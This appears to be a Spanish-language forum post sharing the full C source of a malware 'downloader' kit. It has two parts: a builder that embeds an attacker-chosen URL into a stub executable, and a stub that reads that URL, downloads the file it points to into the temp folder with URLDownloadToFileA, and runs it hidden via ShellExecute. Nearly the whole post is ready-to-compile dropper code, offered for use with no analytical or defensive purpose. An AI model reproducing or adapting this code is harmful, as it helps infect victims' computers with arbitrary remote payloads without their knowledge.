
Source code :
Builder :
Código
#include <stdio.h>
#include <windows.h>
LPSTR url=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR ruta=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR xruta=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
DWORD bytesleidos;
void main()
{
GetModuleFileName(NULL,ruta,MAX_PATH);
for(int i=lstrlenA(ruta);ruta[i]!='\\';i--)
ruta[i]=0;
strcpy(xruta, ruta);
lstrcat(ruta,"\Stub.dll");
lstrcat(xruta,"\Server.exe");
printf(" _______ *-----------------------------------------------*\n");
printf(" | _____| | << C Downloader >> |\n");
printf(" | | | |\n");
printf(" | | | - Autor : shark0 |\n");
printf(" | | | - Agradecimientos : Hacker_Zero & T3O |\n");
printf(" | |_____ | - Compilador : Visual C++ |\n");
printf(" |_______| | |\n");
printf(" *-----------------------------------------------*\n\n\n");
printf("\nIntroduzca la direccion URL : ");
scanf("%s", url);
if(url!=NULL)
{
printf("%s", "\n-> Leyendo contenido del archivo Stub.dll...");
HANDLE hruta=CreateFile(ruta,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
DWORD ssize=GetFileSize(hruta,NULL);
LPSTR stub=(LPSTR)GlobalAlloc(GPTR,ssize);
ReadFile(hruta,stub,ssize,&bytesleidos,0);
CloseHandle(hruta);
LPSTR data=(LPSTR)GlobalAlloc(GPTR,ssize+strlen("|")+strlen(url));
memcpy(data,stub,ssize);
memcpy(data+ssize,"|",1);
memcpy(data+ssize+1,url,strlen(url));
if(stub!=NULL)
{
HANDLE xhruta=CreateFile(xruta,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
WriteFile(xhruta,data,ssize+strlen("|")+strlen(url),&bytesleidos,0);
CloseHandle(xhruta);
printf("%s","\n-> El servidor se ha construido correctamente!\n");
}
}
getchar();
}
Stub :
Código
#include <urlmon.h>
#include <windows.h>
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")
void main()
{
LPSTR url=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR tpath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
DWORD bytesleidos;
GetModuleFileName(NULL,path,MAX_PATH);
HANDLE xpath=CreateFile(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
DWORD spath=GetFileSize(xpath,NULL);
LPSTR buff=(LPSTR)GlobalAlloc(GPTR,spath);
ReadFile(xpath,buff,spath,&bytesleidos,0);
CloseHandle(xpath);
for(DWORD i=spath;buff[i]!='|';i--)
url=&buff[i];
for(int x=lstrlenA(url);url[x]!='.';x--)
ext=&url[x];
GetTempPath(MAX_PATH,tpath);
strcat(tpath,"\TempFile.");
strcat(tpath,ext);
URLDownloadToFileA(NULL,url,tpath,NULL,NULL);
ShellExecute(NULL,NULL,tpath,NULL,NULL,0);
ExitProcess(0);
}
Saludos!











Autor



En línea













